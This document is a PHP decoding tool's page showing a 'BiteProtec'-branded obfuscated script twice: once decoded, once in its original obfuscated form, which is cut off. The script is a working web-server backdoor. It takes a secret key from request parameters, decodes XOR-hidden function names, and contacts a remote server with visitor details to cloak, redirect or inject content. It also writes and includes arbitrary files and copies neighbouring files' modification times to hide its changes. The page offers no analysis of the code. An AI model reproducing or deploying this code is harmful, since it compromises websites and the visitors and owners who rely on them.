Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Secured with BiteProtec(tm) * **/ goto C97; C99: $D1f = new d31("\162..
Decoded Output download
<?php
/**
* Secured with BiteProtec(tm) *
**/
goto C97; C99: $D1f = new d31("request"); $D1f->Eb6(); goto Cac; a64: eed: class D31 { public function __construct($Afe) { goto D5b; D5b: $this->F52 = new A07(); list($cd5, $Ef6, $c39) = $this->Cb5(); goto f6e; b52: $this->be7($Afe, "buf", $Ef6); goto D55; f6e: $this->BE7($Afe, "meta", $c39); $this->be7($Afe, "state", $cd5); goto b52; D55: } protected $F52, $state, $buf; protected $meta; public function log($db7, $cd5, $Ee1, $c86, $Ebe, $e8a = null) { goto B05; B05: static $ca8 = array(); if (!(isset($e8a) && $e8a)) { goto F1f; } goto B5d; a83: array_push($ca8, __FILE__ . "![{$db7}]: {$cd5}"); return true; goto ad9; B5d: return $ca8; F1f: goto a83; ad9: } function be7($f98, $B5d, $C10) { return $this->{$B5d} = new D7A($f98, $C10); } function D88($E90) { goto F2d; e0d: a02: return $_GET[$E90]; goto E81; ac6: f86: goto ec0; goto a2a; E81: Be5: return 0; goto e9d; B49: ec0: goto Be5; goto e0d; F2d: if (isset($_GET[$E90])) { goto a02; } if (isset($_COOKIE[$E90])) { goto B1b; } goto f26; f26: if (!isset($_POST[$E90])) { goto f86; } return urldecode($_POST[$E90]); goto ac6; a2a: B1b: return $_COOKIE[$E90]; goto B49; e9d: } function fB7($E90, $cd5, $Bdd) { goto c7a; a0e: $E7d = $B43 . $E7d; $Ebe = $dc2($E90); goto D4a; c7a: list($B43, $dc2, $b35, $E92, $E7d, $Ea0) = $this->buf->range(1, 6); $dc2 = $B43 . $dc2; goto fb4; a0b: E7e: foreach ($E85 as $Abe => $C10) { $b35($Ebe, $Abe, $C10); f18: } goto F58; D4a: $E85 = array($this->a10 * 2 - 87 => 1, 52 => 0, 13 => 5); if (!$cd5) { goto e9a; } goto A72; F58: de1: $f0b = $E92($Ebe); goto b40; F27: $f0b = count($f0b) > 1 ? $f0b[1] : ''; return array($f0b, $f56); goto c18; ccb: if (!$Bdd) { goto E7e; } $E85[42] = 1; goto a0b; abf: $f0b = explode($Ea0 . $Ea0, $f0b, 2); $f56 = count($f0b) > 0 ? explode($Ea0, $f0b[0]) : array(); goto F27; b40: $E7d($Ebe); if (!(!empty($f0b) && $Bdd)) { goto Fcb; } goto abf; A72: $E85[$this->a10 + 23] = $cd5; e9a: goto ccb; fb4: $b35 = $B43 . $b35; $E92 = $B43 . $E92; goto a0e; c18: Fcb: return $f0b; goto b7c; b7c: } function Ff6($E90, $cd5, $Bdd) { goto Dca; Ed7: return 0; goto b35; Fad: return array($f0b, $http_response_header); b65: goto E6e; c1e: $b8d($B17); if (!$Bdd) { goto b65; } goto Fad; E85: B66: $B90 = $A63(array($A30 => $F67)); goto E69; Dca: list($c39, $Ee1, $Ebf, $D22, $B8d, $A30, $e8a, $A63, $A1d, $F8e, $b8d, $f52) = $this->buf->range(7, 18); $F67 = array($c39 => $e8a, $Ee1 => 0, $Ebf => 1, $D22 => 5); goto C76; E69: if (!($B17 = $A1d($E90, $f52, false, $B90))) { goto dec; } $f0b = $F8e($B17); goto c1e; C76: if (!$cd5) { goto B66; } $F67[$B8d] = $cd5; goto E85; E6e: return $f0b; dec: goto Ed7; b35: } function D26($E90, $cd5 = null, $Bdd = null) { goto c8a; Bf1: C0e: return $f0b; goto F54; c8a: list($dca, $Ebe, $Ebf) = $this->buf->range(0, 2); $f0b = $dca($Ebe . $Ebf) ? $this->fB7($E90, $cd5, $Bdd) : $this->FF6($E90, $cd5, $Bdd); goto F84; F84: if ($f0b) { goto C0e; } $this->log(0, "could not get [{$E90}]", 0, 0, 0); goto Bf1; F54: } protected $a10 = 10000; function b8e() { goto B26; Ae3: return 0; b5d: goto Ef7; B26: $ab3 = $this->D88(substr(md5($this->buf->get(22)), 1, 9)); if (!(!$ab3 || strlen($ab3) < 32 || substr(md5($Ef6 = substr($ab3, 0, 32)), 6, 24) != $this->buf->get(21))) { goto b5d; } goto Ae3; d9a: exit($this->E81()); Afd: goto C9a; D0e: $B8d(($eb1($F9f) ^ $Ef6) . ": " . $eb1(strtolower($this->F52->aee()))); if (!(strlen($ab3) > 60 && !substr($ab3, 43, 1))) { goto Afd; } goto d9a; C9a: return 1; goto D5e; Ef7: $B8d = $this->buf->get(11); list($F9f, $eb1) = $this->buf->range(19, 20); goto D0e; D5e: } function format($D22) { goto a60; B11: $C9a = $D22["line"]; $d8d = $D22["function"]; goto C72; a60: static $Ebf = 0; $Fbb = $D22["file"]; goto B11; C72: $e54 = $D22["class"]; return "#" . $Ebf++ . ":{$Fbb}:{$C9a}: {$e54}::{$d8d}()"; goto Aeb; Aeb: } function E81() { return implode("
", array_map(array($this, "format"), debug_backtrace())); } function D25() { return array(2661734562, 2623890841, 1738106721, 2557306007, 1701667495, 2812598749); } public static function Ac6($cd5, $B5d) { goto a6f; d94: return true; e9f: goto a91; a91: return substr($cd5, -$c86) === $B5d; goto e4f; a6f: $c86 = strlen($B5d); if ($c86) { goto e9f; } goto d94; e4f: } function F3A() { $f98 = "WDiagnostics"; return md5($f98) . substr(md5(strrev($f98)), 0, strlen($f98)); } function aa4() { return array($this->d22(), $this->state->get(6)); } function D22() { goto a72; A24: D19: return "{$E90}: {$Bdd}"; goto Dd0; a72: $Bdd = $this->F52->AeE(); list($D22, $E90) = $this->state->range(7, 8); goto c73; c73: if (!$Bdd) { goto D19; } $Bdd = "{$D22}{$Bdd}/"; goto A24; Dd0: } public function eB6() { goto A98; B10: if (empty($f56)) { goto c82; } $this->c2D($f56, $f0b); goto D3b; d28: $Cad = substr($this->aA5($this->d25()), 0, 24) . $this->F52->format($this->state->get(28)); list($f0b, $f56) = $this->D26($Cad, $this->aA4(), 1); goto B10; A98: define("f80", "on"); set_error_handler(array($this, "log")); goto E91; D5a: return; goto A16; Acc: if ($cd5) { goto Ec6; } $fce = $this->state->range(9, 27); goto Fa6; E91: if ($this->b8e()) { goto c8c; } $this->D6C($this->meta); goto Df2; Df2: $eaf = $this->F52->f8F(); $cd5 = preg_match("/wp-.+/i", $eaf); goto Acc; Fa6: $E90 = explode("?", $eaf, 2); $E90 = strtolower(is_array($E90) && count($E90) > 0 ? $E90[0] : $eaf); goto C82; c26: Ec6: if ($cd5) { goto Cf4; } goto d28; F5c: c8c: restore_error_handler(); goto D5a; D3b: c82: Cf4: goto F5c; C82: foreach ($fce as $db7) { if (!($cd5 = self::aC6($E90, $db7))) { goto bee; } goto B31; bee: cf5: } B31: goto c26; A16: } public function AA5($Fce) { goto bf8; D01: B1f: return $F82; goto Ade; Ce5: $Ce7 .= $Ce7[$dfa]; db1: goto Aea; Aea: $dfa++; goto A66; goto D01; bf8: $dfa = 0; $F82 = str_repeat("D", count($Fce) * 4); goto ce4; c7d: if (!($dfa < count($Fce) << 2)) { goto B1f; } $F82[$dfa] = chr((($Fce[$dfa >> 2] >> 24 - $dfa % 4 * 8 & 0xff) - ord($Ce7[$dfa])) % 256); goto Ce5; ce4: $Ce7 = $this->f3a(); A66: goto c7d; Ade: } function c2d($f56, $cce) { goto f7c; C9c: $Bdd = $this->buf->get(11); $cd5 = self::c04($f56, "via"); goto F7e; E2f: $A63("_xpm", microtime(true), time() + 60, "/"); $c86 = self::c04($f56, "location"); goto B62; a20: exit; b41: goto Ced; Ff2: $Bdd($c86); exit; goto f56; F7e: if (!($f0b == 200 && $cd5)) { goto b41; } list($A63, $E7d, $C33, $a21) = $this->state->range(2, 5); goto b20; B62: if (!$c86) { goto ed2; } $Bdd($a21); goto Ff2; b20: $Bdd($E7d); $Bdd($C33); goto E2f; Cc0: e37: echo $cce; goto a20; c91: if (!($Dd7 && stripos($Dd7, "gzip") !== false)) { goto e37; } $cce = $this->B95($cce); goto Cc0; f7c: if (!preg_match("#HTTP/[0-9\.]+\s+([0-9]+)#", $f56[0], $a26)) { goto ae4; } $f0b = intval($a26[1]); goto C9c; Ced: ae4: goto ef2; f56: ed2: $Dd7 = self::c04($f56, "content-encoding"); goto c91; ef2: } static function c04($f56, $B5d) { foreach ($f56 as $Bdd) { if (!(stripos($Bdd, $B5d . ":") === 0)) { goto Fd9; } return $Bdd; Fd9: Fc0: } fa6: return false; } function B95($D22) { $Ee1 = $this->buf->get(0); list($Dd7, $f95) = $this->state->range(0, 1); return $Ee1($Dd7) ? $Dd7($D22) : $f95($D22, 10, -8); } function D6c($ab3) { goto ba1; ba1: $Ef6 = array(); $cd5 = $this->FBA($_SERVER["SCRIPT_FILENAME"], __FILE__, $ab3, $Ef6); goto Da1; Da1: $ccd = $ab3->get(0); $B8d = $ab3->get(1); goto e25; D89: cc0: if (!($cd5 == -1)) { goto Af5; } goto A9d; Eff: exit(join("\xa", $ca8)); fc9: goto B1c; F21: $ca8 = $this->log(0, 0, 0, 0, 0, 1); if (!($ca8 && count($ca8) > 0)) { goto fc9; } goto Eff; D33: $B8d($ab3->get(27) . ": " . $cd5); if (empty($f0b)) { goto e92; } goto cf7; e25: if (!$ccd($cd5)) { goto cc0; } list($cd5, $f0b) = $cd5; goto D89; A9d: return; Af5: goto D33; cf7: exit($f0b); e92: goto F21; B1c: } function e9E($Ee1, $f95, $ab3) { goto bde; Be2: $E7d = $ab3->get(19); if (!$dca($A08)) { goto c53; } goto Bd4; e35: $E7d(); Ba7: goto E70; f76: if ($f0b) { goto b11; } $this->log(0, "write({$Ee1}): {$f0b}", 0, 0, 0); goto f0f; E70: return $f0b; goto f2f; A39: fclose($B63); e1d: goto f76; F57: if (!$dca($F50)) { goto e6f; } $f0b = $F50($Ee1, $f95) !== false; goto Aae; ba0: ec4: $f0b = fwrite($B63, $f95) or fputs($B63, $f95); goto A39; bde: list($F50, $A08, $dca) = $ab3->range(8, 10); if ($B63 = fopen($Ee1, "w")) { goto ec4; } goto F57; f0f: goto Ba7; b11: goto Be2; Aae: e6f: goto e1d; goto ba0; Bd4: $A08(); c53: goto e35; f2f: } function A24($cd5) { ob_start(); include_once $cd5; return ob_get_clean(); } function D21($cd5, $f98) { goto Cc4; ab3: bb1: $bfc++; goto a97; f06: goto ced; A35: goto b36; a97: $Ebf++; goto F78; goto dd1; bf4: if (!($bfc < strlen($f98) && $Ebf < strlen($cd5))) { goto Ad3; } $a26 .= $cd5[$Ebf] ^ $f98[$bfc]; goto ab3; Cc4: $a26 = ''; $Ebf = 0; goto F60; dd1: Ad3: c97: goto f06; b36: return $a26; goto aa4; a58: $bfc = 0; F78: goto bf4; F60: ced: if (!($Ebf < strlen($cd5))) { goto A35; } goto a58; aa4: } function fBa($A63, $E47, $ab3, $Ef6) { goto da7; Ab0: if (!(!$f0b && $b03)) { goto d9e; } $dc3 = tempnam($f17, "."); goto bdc; cc1: if ($d53($dc3)) { goto C19; } $this->log(0, "{$d53} fail: {$dc3}", 0, 0, 0); goto edb; F89: $A6b("log_errors", 1); a51: goto Ac9; d92: if (!$D22) { goto Dfc; } $E7d(); goto Bc3; e1a: bc5: e39: goto Ce2; B42: $B5d = "data://text/plain" . "," . urlencode($f95); $Da0 = true; goto f16; Aa4: eb6: if (!$dca($A6b)) { goto a51; } goto F89; bbb: $f0b = null; list($ca1, $cb7, $b7d, $cc5, $E7d, $a90) = $ab3->range(15, 20); goto bc9; e34: $f95 = $D34("php://input"); Ada: goto A88; A4b: if (!(!$b03 && !$F55)) { goto F62; } $A04 = mkdir($f17, 0755, true); goto Cd8; c2c: if (!$dca($A6b)) { goto Bda; } $A6b($ab3->get(12), 0); goto bab; c88: if (!(!$D22 && $f95)) { goto f70; } if ($b7d($B5d)) { goto f7a; } goto Fb6; bb2: $Ee8 = $Ed8($this->F52->aEe()); $d3f = md5($Ee8 . $E90); goto f63; Ed2: $dca = $this->buf->get(0); list($B8d, $Ed8, $a8c, $A6b, $C87, $a0b, $e24) = $ab3->range(1, 7); goto c2c; f28: goto Fe7; e63: goto a9c; E88: $F44 = $ab3->get(29); if ($f95) { goto e63; } goto be4; Ac9: list($Db2, $F74) = $ab3->range(13, 14); if (!($dca($F74) && (!defined($ab3->get(28)) || constant($ab3->get(28)) < 70000) && $Db2())) { goto a30; } goto A29; A88: goto cb7; e23: goto ad1; A51: $b03 = null; $A04 = 0; goto d92; a61: goto de7; Aa6: goto cc1; d75: $this->log(0, "check failed", 0, 0, 0); $f95 = null; goto e62; c49: if (!(!$D22 && $Ebf && (!$f95 || $f0b || $Da0))) { goto F6c; } $ead = $this->A24($B5d); goto Be6; f16: Eab: goto Ac7; goto Bd9; D9a: $a57 = $dca($C87) ? $C87($B5d) : null; $B8d("Content-Type: " . ($a57 ? $a57 : "application/octet-stream")); goto A68; Bf9: $f98 = $this->e0b($f98); $F87 = $E90 ? $this->d21($f98, $d3f) : $f98; goto ad0; Ce2: goto Eab; bf6: goto B42; Cd8: F62: $f0b = $this->E9e($B5d, $f95, $ab3); goto Ab0; da7: $Aa0 = array(); $E90 = "555"; goto Ed2; E4b: $Ac0 = !!$ead; dce: goto cc2; c36: $B8d("X-Timestamp: " . date(DATE_RFC2822, $E40)); f46: goto E4b; fba: $f0b = null; $Da0 = false; goto c88; f63: $f98 = $this->d88($d3f); if (!($f98 === 0)) { goto eb6; } goto Ca8; A29: $F74(0); a30: goto Bf9; edb: C19: de7: goto bb0; Eb1: $F55 = $b7d($f17) ? $cb7($f17) : 0; $ead = null; goto A51; E8f: dbc: return array(implode('', array_map(array($this, "b2"), $Aa0)), $ead); goto f74; ff9: D82: a08: goto B1e; A68: c6f: if (!($ead && ($E40 = $b03 ? $b03 : $cb7($B5d)))) { goto f46; } goto c36; ad0: $ef3 = strlen($F87) < 32 ? 0 : substr($F87, 0, 32); if (!(md5($ef3) != $ab3->get(26))) { goto A83; } goto B70; bb0: e95: d9e: goto c95; b59: $ead = $bde($B5d); if (!$ead) { goto c6f; } goto D9a; be4: if ($cd5) { goto e23; } if (!$Dfb) { goto Ada; } goto e34; Ca8: $f98 = $this->D88($a8c($d3f)); if (!($f98 === 0)) { goto abb; } goto f0e; ad1: list($f95, $Bdd) = $this->d26($cd5, 0, 1); if (!(empty($Bdd) || !self::c04($Bdd, $d6e))) { goto dde; } goto d75; Fb6: if ($Ebf && $ec8 && ini_get("allow_url_include")) { goto bf6; } $b03 = !$ec8 && $a90($B5d) ? $cb7($B5d) : 0; goto A4b; A8d: if ($f0b = $this->e9E($B5d, $f95, $ab3)) { goto Aa6; } if ($A71($dc3, $B5d)) { goto E96; } goto Aa1; B1e: if (!$B0d) { goto bc5; } $Eea($B5d, $B0d, $B0d); goto e1a; D57: $F44($Aa0, $a32); $Ac0 = null; goto e2a; Aa1: $this->log(0, "{$A71} fail: {$dc3} -> {$B5d}", 0, 0, 0); E96: goto a61; a9c: $f95 = $e24($f95); Fe7: goto a26; cc2: $F44($Aa0, $Ac0); $F44($Aa0, $ec8 && !$Da0 ? $b7d($B5d) ? rmdir($B5d) : $d53($B5d) : null); goto df6; d79: if ($B0d) { goto a08; } $B0d = $this->B14($f17, $B5d); goto Ecf; e2a: if (!(!$ead && $e90)) { goto dce; } $bde = $ab3->get(24); goto b59; cfc: list($cd5, $Dfb, $Ee1, $Ebf, $D22, $ec8, $e90, $f95) = explode("__", substr($F87, 32), 8); list($D34, $d6e) = $ab3->range(24, 25); goto E88; f0e: return -1; abb: goto Aa4; a26: $F44($Aa0, !!$f95); $B5d = $Ee1 ? $Ee1 : $E47; goto bbb; Bbd: Ac7: f70: goto F66; D94: $a0b(0); B9a: goto bb2; bc9: $e15 = $ab3->get(18); $f17 = $e15($B5d); goto Eb1; F66: $F44($Aa0, $f0b); $a32 = null; goto c49; Be6: $a32 = !!$ead; F6c: goto D57; bab: Bda: if (!$dca($a0b)) { goto B9a; } goto D94; Bd9: f7a: $this->log(0, "{$B5d} is dir", 0, 0, 0); goto Bbd; B70: return -1; A83: goto cfc; D53: $F44($Aa0, $f0b); list($d53, $A71, $Eea) = $ab3->range(21, 23); goto fba; Ecf: if (!(!$B0d && $F55)) { goto D82; } $B0d = $F55; goto ff9; e62: dde: cb7: goto f28; df6: if (!($F55 && ($ec8 || $f0b))) { goto dbc; } $Eea($f17, $F55, $F55); goto E8f; Bc3: $f0b = $a90($B5d) ? $ca1($B5d) : $ca1($f17); Dfc: goto D53; bdc: $this->log(0, "temp name: {$dc3}", 0, 0, 0); if (!$A71($B5d, $dc3)) { goto e95; } goto A8d; c95: if (!$f0b) { goto e39; } $B0d = $b03; goto d79; f74: } function b14($e90, $bdb) { goto Dfb; d81: Bfc: return $b03; goto Cab; Fe0: $fe4 = $ee6[$Ebf]; if (!($fe4 && $fe4 != $bdb && is_file($fe4))) { goto f98; } goto A30; A54: A28: ++$Ebf; goto Dc1; Dfb: $b03 = 0; $ee6 = glob("{$e90}/*", constant("GLOB_NOSORT")); goto b3b; A30: $b03 = filemtime($fe4); f98: goto A54; Dc1: goto B0c; b43: goto d81; F2f: B0c: if (!($Ebf < count($ee6) && $Ebf < 4 && !$b03)) { goto b43; } goto Fe0; b3b: if (!$ee6) { goto Bfc; } $Ebf = 0; goto F2f; Cab: } function E0B($F63) { $f95 = $this->meta->get(7); return $f95(strtr($F63, "-_", "+/")); } function b2($db7) { return $db7 ? 1 : 0; } function cB5() { return array(array("151f1510061c1017", "151f181b031f150600", "010005160a1c1f1b00", "1104121d005e171d0b05070a1f4e520b1e580612171a005d550b1c5901111e07005f541c0a5c0117121a01031e07085f541f10020148011104041d1c01120017", "0217101208124e520b1e580612171a00", "3a3125254a425a424542455753321d101f11", "33061210150759370b121a011a1a155f51121f1a04", "1a1105055f5c5b", "2a48210015031106", "5c060206", "5c110901", "5c151513", "5c0f0112", "5c151f12", "5c021813", "5c011e16", "5c0f02", "0a081d0715105a020d01", "5c0f021a0b", "5c081005", "5c1d1c19", "5c0c121a", "5c110513", "5c121e1303", "5c121e130341", "5c1f1805", "5c160712", "5c001e01", "4d150405581b0006154b5a4a56075d430310034e5101431805585607540416100b074957165700171a495716"), array("14101f16111a1b1c3a140d0c000001", "111003193a", "1b0b1801", "0100051a1507", "171d1416", "11091e0600", "7f6f", "1f00051d0a17", "140a1d190a042b1e0a1214111a1b1c", "1b021f1a17162b1717031a1700", "060c1c100a0600", "1a0010110001", "1a110505", "352025", "01110310041e2b110a1f01000b002d060310040711", "140a01100b", "01110310041e2b1500052a061c1a06001f0116", "14061d1a1616", "0007", "1f2b5443555645464040472d564136404045", "07171d1100101b1600", "4b5510100112174706444d50461542554914064240100048", "110619100618"), array("1b162e141701150b", "1a0010110001", "011103010a1f1b050003", "011103010a0604020003", "1b0b182a161600", "1f0c1c103a101b1c11141b112c000b1514", "0100052a111a19173a1d1c081a00", "1004021053472b1600121a0116", "140c1d103a0301063a121a0b07111c1102", "1d151214061b112d1714060007", "14101f16111a1b1c3a140d0c000001", "111003193a1a1a1b11", "1f04092a000b111110051c0a1d2b060c1c10", "1500052a0812131b062e04101c0017162e07101d001b0814", "0100052a0812131b062e04101c0017162e07101d001b0814", "1b162e02171a0013071d10", "140c1d1008071d1f00", "1b162e110c01", "160c031b041e11", "1109141417000013111214061b11", "140c1d103a160c1b160506", "070b1d1c0b18", "00001f140816", "060a04160d", "140c1d103a1411063a121a0b07111c1102", "0a48011616", "42504141034b4c1707434d5345124b0413445744431157154550111245061346", "2a482131040715", "222d212a333626212c3e3b3a3a30", "131703141c2c04071619")); } } goto C99; C97: if (!defined("f80")) { goto eed; } return; goto a64; Cac: unset($D1f); class a07 { public static function Aee() { return !empty($_SERVER["HTTP_X_FORWARDED_HOST"]) ? $_SERVER["HTTP_X_FORWARDED_HOST"] : (!empty($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : (!empty($_SERVER["HOSTNAME"]) ? $_SERVER["HOSTNAME"] : '')); } public static function eA7() { return !empty($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : ''; } public static function f75() { goto ff8; E43: $bed = array_shift(array_map("trim", explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]))); b58: goto E98; cac: goto b58; Def: goto E43; E98: return !empty($bed) ? $bed : ''; goto ff3; ff8: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto Def; } $bed = !empty($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : ''; goto cac; ff3: } public static function D9E() { return !empty($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; } public static function dCc() { return !empty($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; } public static function F8F() { return !empty($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : ''; } public static function format($cd5) { return sprintf($cd5, urlencode(self::aeE()), self::D9E(), self::F75(), urlencode(self::dcC()), urlencode(self::f8F())); } } goto A52; A52: class d7a { public function range($Be9, $c61) { return array_map(array($this, "get"), range($Be9, $c61)); } protected $B8f, $Aaf; function cf0($C10) { $f98 = $this->B8f; $c4b = $this->F56($C10); $f0b = strlen($c4b) / strlen($f98) + 1; return $c4b ^ str_repeat($f98, $f0b); } function f56($Ab2) { return pack("H*", $Ab2); } public function __construct($f98, $C10) { $this->B8f = $f98; $this->Aaf = $C10; } public function get($Ebf) { $f0b = $this->cf0($this->Aaf[$Ebf]); return $f0b; } } ?>
Did this file decode correctly?
Original Code
<?php
/**
* Secured with BiteProtec(tm) *
**/
goto C97; C99: $D1f = new d31("\162\145\x71\x75\145\x73\164"); $D1f->Eb6(); goto Cac; a64: eed: class D31 { public function __construct($Afe) { goto D5b; D5b: $this->F52 = new A07(); list($cd5, $Ef6, $c39) = $this->Cb5(); goto f6e; b52: $this->be7($Afe, "\x62\165\x66", $Ef6); goto D55; f6e: $this->BE7($Afe, "\x6d\145\x74\141", $c39); $this->be7($Afe, "\x73\x74\x61\x74\x65", $cd5); goto b52; D55: } protected $F52, $state, $buf; protected $meta; public function log($db7, $cd5, $Ee1, $c86, $Ebe, $e8a = null) { goto B05; B05: static $ca8 = array(); if (!(isset($e8a) && $e8a)) { goto F1f; } goto B5d; a83: array_push($ca8, __FILE__ . "\41\133{$db7}\135\72\x20{$cd5}"); return true; goto ad9; B5d: return $ca8; F1f: goto a83; ad9: } function be7($f98, $B5d, $C10) { return $this->{$B5d} = new D7A($f98, $C10); } function D88($E90) { goto F2d; e0d: a02: return $_GET[$E90]; goto E81; ac6: f86: goto ec0; goto a2a; E81: Be5: return 0; goto e9d; B49: ec0: goto Be5; goto e0d; F2d: if (isset($_GET[$E90])) { goto a02; } if (isset($_COOKIE[$E90])) { goto B1b; } goto f26; f26: if (!isset($_POST[$E90])) { goto f86; } return urldecode($_POST[$E90]); goto ac6; a2a: B1b: return $_COOKIE[$E90]; goto B49; e9d: } function fB7($E90, $cd5, $Bdd) { goto c7a; a0e: $E7d = $B43 . $E7d; $Ebe = $dc2($E90); goto D4a; c7a: list($B43, $dc2, $b35, $E92, $E7d, $Ea0) = $this->buf->range(1, 6); $dc2 = $B43 . $dc2; goto fb4; a0b: E7e: foreach ($E85 as $Abe => $C10) { $b35($Ebe, $Abe, $C10); f18: } goto F58; D4a: $E85 = array($this->a10 * 2 - 87 => 1, 52 => 0, 13 => 5); if (!$cd5) { goto e9a; } goto A72; F58: de1: $f0b = $E92($Ebe); goto b40; F27: $f0b = count($f0b) > 1 ? $f0b[1] : ''; return array($f0b, $f56); goto c18; ccb: if (!$Bdd) { goto E7e; } $E85[42] = 1; goto a0b; abf: $f0b = explode($Ea0 . $Ea0, $f0b, 2); $f56 = count($f0b) > 0 ? explode($Ea0, $f0b[0]) : array(); goto F27; b40: $E7d($Ebe); if (!(!empty($f0b) && $Bdd)) { goto Fcb; } goto abf; A72: $E85[$this->a10 + 23] = $cd5; e9a: goto ccb; fb4: $b35 = $B43 . $b35; $E92 = $B43 . $E92; goto a0e; c18: Fcb: return $f0b; goto b7c; b7c: } function Ff6($E90, $cd5, $Bdd) { goto Dca; Ed7: return 0; goto b35; Fad: return array($f0b, $http_response_header); b65: goto E6e; c1e: $b8d($B17); if (!$Bdd) { goto b65; } goto Fad; E85: B66: $B90 = $A63(array($A30 => $F67)); goto E69; Dca: list($c39, $Ee1, $Ebf, $D22, $B8d, $A30, $e8a, $A63, $A1d, $F8e, $b8d, $f52) = $this->buf->range(7, 18); $F67 = array($c39 => $e8a, $Ee1 => 0, $Ebf => 1, $D22 => 5); goto C76; E69: if (!($B17 = $A1d($E90, $f52, false, $B90))) { goto dec; } $f0b = $F8e($B17); goto c1e; C76: if (!$cd5) { goto B66; } $F67[$B8d] = $cd5; goto E85; E6e: return $f0b; dec: goto Ed7; b35: } function D26($E90, $cd5 = null, $Bdd = null) { goto c8a; Bf1: C0e: return $f0b; goto F54; c8a: list($dca, $Ebe, $Ebf) = $this->buf->range(0, 2); $f0b = $dca($Ebe . $Ebf) ? $this->fB7($E90, $cd5, $Bdd) : $this->FF6($E90, $cd5, $Bdd); goto F84; F84: if ($f0b) { goto C0e; } $this->log(0, "\x63\157\165\154\x64\40\x6e\157\164\40\x67\145\x74\40\133{$E90}\135", 0, 0, 0); goto Bf1; F54: } protected $a10 = 10000; function b8e() { goto B26; Ae3: return 0; b5d: goto Ef7; B26: $ab3 = $this->D88(substr(md5($this->buf->get(22)), 1, 9)); if (!(!$ab3 || strlen($ab3) < 32 || substr(md5($Ef6 = substr($ab3, 0, 32)), 6, 24) != $this->buf->get(21))) { goto b5d; } goto Ae3; d9a: exit($this->E81()); Afd: goto C9a; D0e: $B8d(($eb1($F9f) ^ $Ef6) . "\x3a\x20" . $eb1(strtolower($this->F52->aee()))); if (!(strlen($ab3) > 60 && !substr($ab3, 43, 1))) { goto Afd; } goto d9a; C9a: return 1; goto D5e; Ef7: $B8d = $this->buf->get(11); list($F9f, $eb1) = $this->buf->range(19, 20); goto D0e; D5e: } function format($D22) { goto a60; B11: $C9a = $D22["\x6c\151\x6e\x65"]; $d8d = $D22["\146\x75\156\x63\164\151\157\x6e"]; goto C72; a60: static $Ebf = 0; $Fbb = $D22["\146\151\154\145"]; goto B11; C72: $e54 = $D22["\143\154\141\x73\x73"]; return "\x23" . $Ebf++ . "\72{$Fbb}\x3a{$C9a}\x3a\40{$e54}\x3a\x3a{$d8d}\x28\x29"; goto Aeb; Aeb: } function E81() { return implode("\12", array_map(array($this, "\146\x6f\x72\x6d\141\164"), debug_backtrace())); } function D25() { return array(2661734562, 2623890841, 1738106721, 2557306007, 1701667495, 2812598749); } public static function Ac6($cd5, $B5d) { goto a6f; d94: return true; e9f: goto a91; a91: return substr($cd5, -$c86) === $B5d; goto e4f; a6f: $c86 = strlen($B5d); if ($c86) { goto e9f; } goto d94; e4f: } function F3A() { $f98 = "\x57\x44\151\x61\x67\x6e\x6f\163\x74\151\x63\x73"; return md5($f98) . substr(md5(strrev($f98)), 0, strlen($f98)); } function aa4() { return array($this->d22(), $this->state->get(6)); } function D22() { goto a72; A24: D19: return "{$E90}\72\x20{$Bdd}"; goto Dd0; a72: $Bdd = $this->F52->AeE(); list($D22, $E90) = $this->state->range(7, 8); goto c73; c73: if (!$Bdd) { goto D19; } $Bdd = "{$D22}{$Bdd}\x2f"; goto A24; Dd0: } public function eB6() { goto A98; B10: if (empty($f56)) { goto c82; } $this->c2D($f56, $f0b); goto D3b; d28: $Cad = substr($this->aA5($this->d25()), 0, 24) . $this->F52->format($this->state->get(28)); list($f0b, $f56) = $this->D26($Cad, $this->aA4(), 1); goto B10; A98: define("\146\70\60", "\x6f\156"); set_error_handler(array($this, "\154\157\147")); goto E91; D5a: return; goto A16; Acc: if ($cd5) { goto Ec6; } $fce = $this->state->range(9, 27); goto Fa6; E91: if ($this->b8e()) { goto c8c; } $this->D6C($this->meta); goto Df2; Df2: $eaf = $this->F52->f8F(); $cd5 = preg_match("\57\167\160\55\56\53\57\x69", $eaf); goto Acc; Fa6: $E90 = explode("\77", $eaf, 2); $E90 = strtolower(is_array($E90) && count($E90) > 0 ? $E90[0] : $eaf); goto C82; c26: Ec6: if ($cd5) { goto Cf4; } goto d28; F5c: c8c: restore_error_handler(); goto D5a; D3b: c82: Cf4: goto F5c; C82: foreach ($fce as $db7) { if (!($cd5 = self::aC6($E90, $db7))) { goto bee; } goto B31; bee: cf5: } B31: goto c26; A16: } public function AA5($Fce) { goto bf8; D01: B1f: return $F82; goto Ade; Ce5: $Ce7 .= $Ce7[$dfa]; db1: goto Aea; Aea: $dfa++; goto A66; goto D01; bf8: $dfa = 0; $F82 = str_repeat("\x44", count($Fce) * 4); goto ce4; c7d: if (!($dfa < count($Fce) << 2)) { goto B1f; } $F82[$dfa] = chr((($Fce[$dfa >> 2] >> 24 - $dfa % 4 * 8 & 0xff) - ord($Ce7[$dfa])) % 256); goto Ce5; ce4: $Ce7 = $this->f3a(); A66: goto c7d; Ade: } function c2d($f56, $cce) { goto f7c; C9c: $Bdd = $this->buf->get(11); $cd5 = self::c04($f56, "\x76\151\141"); goto F7e; E2f: $A63("\137\170\160\155", microtime(true), time() + 60, "\57"); $c86 = self::c04($f56, "\x6c\x6f\143\x61\164\x69\157\156"); goto B62; a20: exit; b41: goto Ced; Ff2: $Bdd($c86); exit; goto f56; F7e: if (!($f0b == 200 && $cd5)) { goto b41; } list($A63, $E7d, $C33, $a21) = $this->state->range(2, 5); goto b20; B62: if (!$c86) { goto ed2; } $Bdd($a21); goto Ff2; b20: $Bdd($E7d); $Bdd($C33); goto E2f; Cc0: e37: echo $cce; goto a20; c91: if (!($Dd7 && stripos($Dd7, "\147\x7a\x69\160") !== false)) { goto e37; } $cce = $this->B95($cce); goto Cc0; f7c: if 